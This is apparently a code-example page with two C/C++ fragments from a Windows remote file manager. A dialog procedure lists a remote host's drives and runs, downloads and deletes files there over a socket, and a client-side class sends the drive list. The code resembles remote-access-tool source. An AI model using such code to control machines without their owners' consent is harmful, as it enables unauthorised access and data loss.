Ejemplo n.º 1
0
//////////////////////////////////////////////////////////////////////////
//文件管理窗口过程
//////////////////////////////////////////////////////////////////////////
LRESULT CALLBACK FileDlgProc(HWND hDlg,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
	HWND hList = NULL;
	HWND hSBar = NULL;
	LPNMHDR lPnmhdr = NULL;
	switch (uMsg)
	{
	case WM_COMMAND:
		{
			switch(LOWORD(wParam))
			{
			case ID_POPUP_40001:
				{
					//打开(EXE运行)
					hList = GetDlgItem(hDlg,IDC_LIST1);
					int index = ListView_GetSelectionMark(hList);
					char szFile[NAMESIZE] = {0};
					char szType[10] = {0};
					ListView_GetItemText(hList,index,0,szType,sizeof(szType));
					ListView_GetItemText(hList,index,1,szFile,NAMESIZE);
					FileOpen(sockfd,szFile,szType);

				}
				break;
			case ID_POPUP_40002:
				{
					//返回
					FolderBack(sockfd);
				}
				break;
			case ID_POPUP_40004:
				{
					//下载
					hList = GetDlgItem(hDlg,IDC_LIST1);
					int index = ListView_GetSelectionMark(hList);
					char szFile[NAMESIZE] = {0};
					ListView_GetItemText(hList,index,1,szFile,NAMESIZE);
					sprintf(szFname,"%s",szFile);
					FileDownLoad(sockfd,szFile);
				}
				break;
			case ID_POPUP_40005:
				{
					//删除
					hList = GetDlgItem(hDlg,IDC_LIST1);
					int index = ListView_GetSelectionMark(hList);
					char szFile[NAMESIZE] = {0};
					ListView_GetItemText(hList,index,1,szFile,NAMESIZE);
					FileDelete(sockfd,szFile);
				}
				break;
			}
		}
		break;
	case WM_SOCKET:
		{
			switch(LOWORD(lParam))
			{
			case FD_WRITE:
				{
					//继续发送
					SendCmd(sockfd,NULL,NULL);
				}
				break;
			case FD_READ:
				{
					RecvCmd(sockfd);
				}
				break;
			case FD_CLOSE:
				{
					//SOCKET出错处理,MainFunc.H里 清理缓冲区
					SocketError(sockfd);
					EndDialog(hDlg,NULL);
				}
				break;
			}
		}
		break;
	case WM_NOTIFY:
		{
			lPnmhdr = (LPNMHDR)lParam;
			hList = GetDlgItem(hDlg,IDC_LIST1);
			if (lPnmhdr->hwndFrom==hList)
			{
				switch (lPnmhdr->code)
				{
				case NM_DBLCLK:
					{
						hList = GetDlgItem(hDlg,IDC_LIST1);
						int index = ListView_GetSelectionMark(hList);
						int count = ListView_GetItemCount(hList);
						char szType[10] = {0};
						ListView_GetItemText(hList,index,0,szType,sizeof(szType));
						if (strcmp(szType,"FILE")==0)
						{
							break;
						}
						if (index<count)
						{
							char szFile[NAMESIZE] = {0};
							char szType[10] = {0};
							ListView_GetItemText(hList,index,0,szType,sizeof(szType));
							ListView_GetItemText(hList,index,1,szFile,NAMESIZE);
							FileOpen(sockfd,szFile,szType);
						}
					}
					break;
				case NM_RCLICK:
					{
						HMENU hMenu = LoadMenu(hInst,MAKEINTRESOURCE(IDR_MENU1));
						hMenu = GetSubMenu(hMenu,0);
						POINT stPos;
						GetCursorPos(&stPos);
						TrackPopupMenu(hMenu,TPM_LEFTALIGN,stPos.x,stPos.y,NULL,hDlg,NULL);
					}
					break;
				}
			}
		}
		break;
	case WM_INITMENUPOPUP:
		{
			switch(LOWORD(lParam))
			{
			case 0:
				{
					//文件禁用:打开(EXE不禁用)
					//文件夹禁用:下载
					//盘符禁用:返回
					hList = GetDlgItem(hDlg,IDC_LIST1);
					int index = ListView_GetSelectionMark(hList);
					int count = ListView_GetItemCount(hList);
					if (index>=count && strlen(szTempPath)==0)
					{
						EnableMenuItem((HMENU)wParam,ID_POPUP_40001,MF_GRAYED);
						EnableMenuItem((HMENU)wParam,ID_POPUP_40002,MF_GRAYED);
						EnableMenuItem((HMENU)wParam,ID_POPUP_40004,MF_GRAYED);
						EnableMenuItem((HMENU)wParam,ID_POPUP_40005,MF_GRAYED);
					}
					else if (index>=count)
					{
						EnableMenuItem((HMENU)wParam,ID_POPUP_40001,MF_GRAYED);
						EnableMenuItem((HMENU)wParam,ID_POPUP_40002,MF_ENABLED);
						EnableMenuItem((HMENU)wParam,ID_POPUP_40004,MF_GRAYED);
						EnableMenuItem((HMENU)wParam,ID_POPUP_40005,MF_GRAYED);
					}
					else
					{
						char szType[NAMESIZE] = {0};
						ListView_GetItemText(hList,index,0,szType,NAMESIZE);
						if (strcmp(szType,"DRIVE")==0)
						{
							EnableMenuItem((HMENU)wParam,ID_POPUP_40001,MF_ENABLED);
							EnableMenuItem((HMENU)wParam,ID_POPUP_40002,MF_GRAYED);
							EnableMenuItem((HMENU)wParam,ID_POPUP_40004,MF_GRAYED);
							EnableMenuItem((HMENU)wParam,ID_POPUP_40005,MF_GRAYED);
						}
						else if (strcmp(szType,"FOLDER")==0)
						{
							EnableMenuItem((HMENU)wParam,ID_POPUP_40001,MF_ENABLED);
							EnableMenuItem((HMENU)wParam,ID_POPUP_40002,MF_ENABLED);
							EnableMenuItem((HMENU)wParam,ID_POPUP_40004,MF_GRAYED);
							EnableMenuItem((HMENU)wParam,ID_POPUP_40005,MF_ENABLED);
						}
						else if (strcmp(szType,"EXE")==0)
						{
							EnableMenuItem((HMENU)wParam,ID_POPUP_40001,MF_ENABLED);
							EnableMenuItem((HMENU)wParam,ID_POPUP_40002,MF_ENABLED);
							EnableMenuItem((HMENU)wParam,ID_POPUP_40004,MF_ENABLED);
							EnableMenuItem((HMENU)wParam,ID_POPUP_40005,MF_ENABLED);
						}
						else
						{
							EnableMenuItem((HMENU)wParam,ID_POPUP_40001,MF_GRAYED);
							EnableMenuItem((HMENU)wParam,ID_POPUP_40002,MF_ENABLED);
							EnableMenuItem((HMENU)wParam,ID_POPUP_40004,MF_ENABLED);
							EnableMenuItem((HMENU)wParam,ID_POPUP_40005,MF_ENABLED);
						}
					}
				}
			break;
			}
		}
		break;
	case WM_INITDIALOG:
		{
			sockfd = (SOCKET)lParam;
			//非拥塞模式
			WSAAsyncSelect(sockfd,hDlg,WM_SOCKET,FD_WRITE|FD_READ|FD_CLOSE);
			//获得远程主机盘符
			SendDriveList(sockfd);
			hList = GetDlgItem(hDlg,IDC_LIST1);
			//初始化ListControl
			InitFmgrList(hList);
			//初始化状态栏
			UpdataSBar(hDlg);
		}
		break;
	case WM_CLOSE:
		{
			EndDialog(hDlg,NULL);
		}
		break;
	default:
		break;
	}

	return FALSE;
}
Ejemplo n.º 2
0
CFileManager::CFileManager(CClientSocket *pClient):CManager(pClient)
{
	m_nTransferMode = TRANSFER_MODE_NORMAL;
	// 发送驱动器列表, 开始进行文件管理,建立新线程
	SendDriveList();
}